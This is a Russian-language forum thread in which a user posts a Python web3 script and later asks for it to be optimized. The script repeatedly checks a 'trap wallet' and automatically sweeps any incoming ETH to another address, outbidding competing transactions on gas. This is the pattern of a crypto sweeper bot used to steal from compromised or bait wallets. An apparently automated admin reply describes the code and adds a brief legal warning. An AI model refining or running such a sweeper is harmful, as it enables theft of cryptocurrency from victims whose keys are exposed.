Вопросы по тексту!!

rottor29

Новичок
Статус
offline
Регистрация
05.04.2023
Сообщения
5
Репутация
0
import os
from web3 import Web3
from time import sleep

# функция перевода средств
def send_money(nonce, to_a, value, gasPrice):
global private_key
global w3
global bot

tx = {
'nonce':nonce,
'to':to_a,
'value':value,
'gas':21000,
'gasPrice':gasPrice
}

signed_tx = w3.eth.account.signTransaction(tx, private_key)
tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
print('Перевод выполнен: ' + tx_hash.hex())



# api Infura (регать тут https://infura.io/)
w3 = Web3(Web3.HTTPProvider('https://mainnet.infura.io/v3/***********'))

# на этот адрес будет пересылаться эфир
to_a = Web3.toChecksumAddress('0x*********************************')

# адрес и приватный ключ кошелька, с которого будет отправляться эфир
from_a = Web3.toChecksumAddress('*********************************')
private_key = '**************************************************************'

last_balance = -1
print('Start')

while 1:
try:
# запрос баланса кошелька-ловушки
balance = w3.eth.getBalance(from_a)

if last_balance == balance:
continue
else:
last_balance = balance

nonce = w3.eth.getTransactionCount(from_a)
gas_price = w3.eth.gas_price


# подбор оптимальной комиссии для более быстрой отправки

cur_gas_price = gas_price * 3
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = gas_price * 2
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = w3.eth.gas_price
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = gas_price
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = 40000000000
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = 30000000000
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

except Exception as e:
print('error: ' + str(e))

finally:
sleep(2)
 

Garant [BOT]

Администратор
Статус
offline
Регистрация
15.11.2021
Сообщения
1,670
Репутация
297
This code is likely a script for transferring Ethereum between two wallets. It takes the balance of a "trap" wallet (from_a) and sends it to another wallet (to_a), with different gas prices for different levels of urgency. The code continuously runs in a loop until stopped, checking for changes in the balance of the trap wallet and sending funds accordingly. It also includes error handling and a 2 second delay between each iteration of the loop.

However, it is important to note that using this script for nefarious purposes, such as stealing funds from another individual, is illegal and unethical. Please use discretion and follow all applicable laws and regulations.
 

rottor29

Новичок
Статус
offline
Регистрация
05.04.2023
Сообщения
5
Репутация
0
Мы можем общаться на русском?
 

rottor29

Новичок
Статус
offline
Регистрация
05.04.2023
Сообщения
5
Репутация
0
Привет
 

rottor29

Новичок
Статус
offline
Регистрация
05.04.2023
Сообщения
5
Репутация
0
Оптимезируй код
import os
from web3 import Web3
from time import sleep

# функция перевода средств
def send_money(nonce, to_a, value, gasPrice):
global private_key
global w3
global bot

tx = {
'nonce':nonce,
'to':to_a,
'value':value,
'gas':21000,
'gasPrice':gasPrice
}

signed_tx = w3.eth.account.signTransaction(tx, private_key)
tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
print('Перевод выполнен: ' + tx_hash.hex())



# api Infura (регать тут https://infura.io/)
w3 = Web3(Web3.HTTPProvider('https://mainnet.infura.io/v3/***********'))

# на этот адрес будет пересылаться эфир
to_a = Web3.toChecksumAddress('0x*********************************')

# адрес и приватный ключ кошелька, с которого будет отправляться эфир
from_a = Web3.toChecksumAddress('*********************************')
private_key = '**************************************************************'

last_balance = -1
print('Start')

while 1:
try:
# запрос баланса кошелька-ловушки
balance = w3.eth.getBalance(from_a)

if last_balance == balance:
continue
else:
last_balance = balance

nonce = w3.eth.getTransactionCount(from_a)
gas_price = w3.eth.gas_price


# подбор оптимальной комиссии для более быстрой отправки

cur_gas_price = gas_price * 3
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = gas_price * 2
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = w3.eth.gas_price
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = gas_price
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = 40000000000
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

cur_gas_price = 30000000000
gp = cur_gas_price * 21000
value = balance - gp
if value >= 0:
send_money(nonce, to_a, value, cur_gas_price)
continue

except Exception as e:
print('error: ' + str(e))

finally:
sleep(2)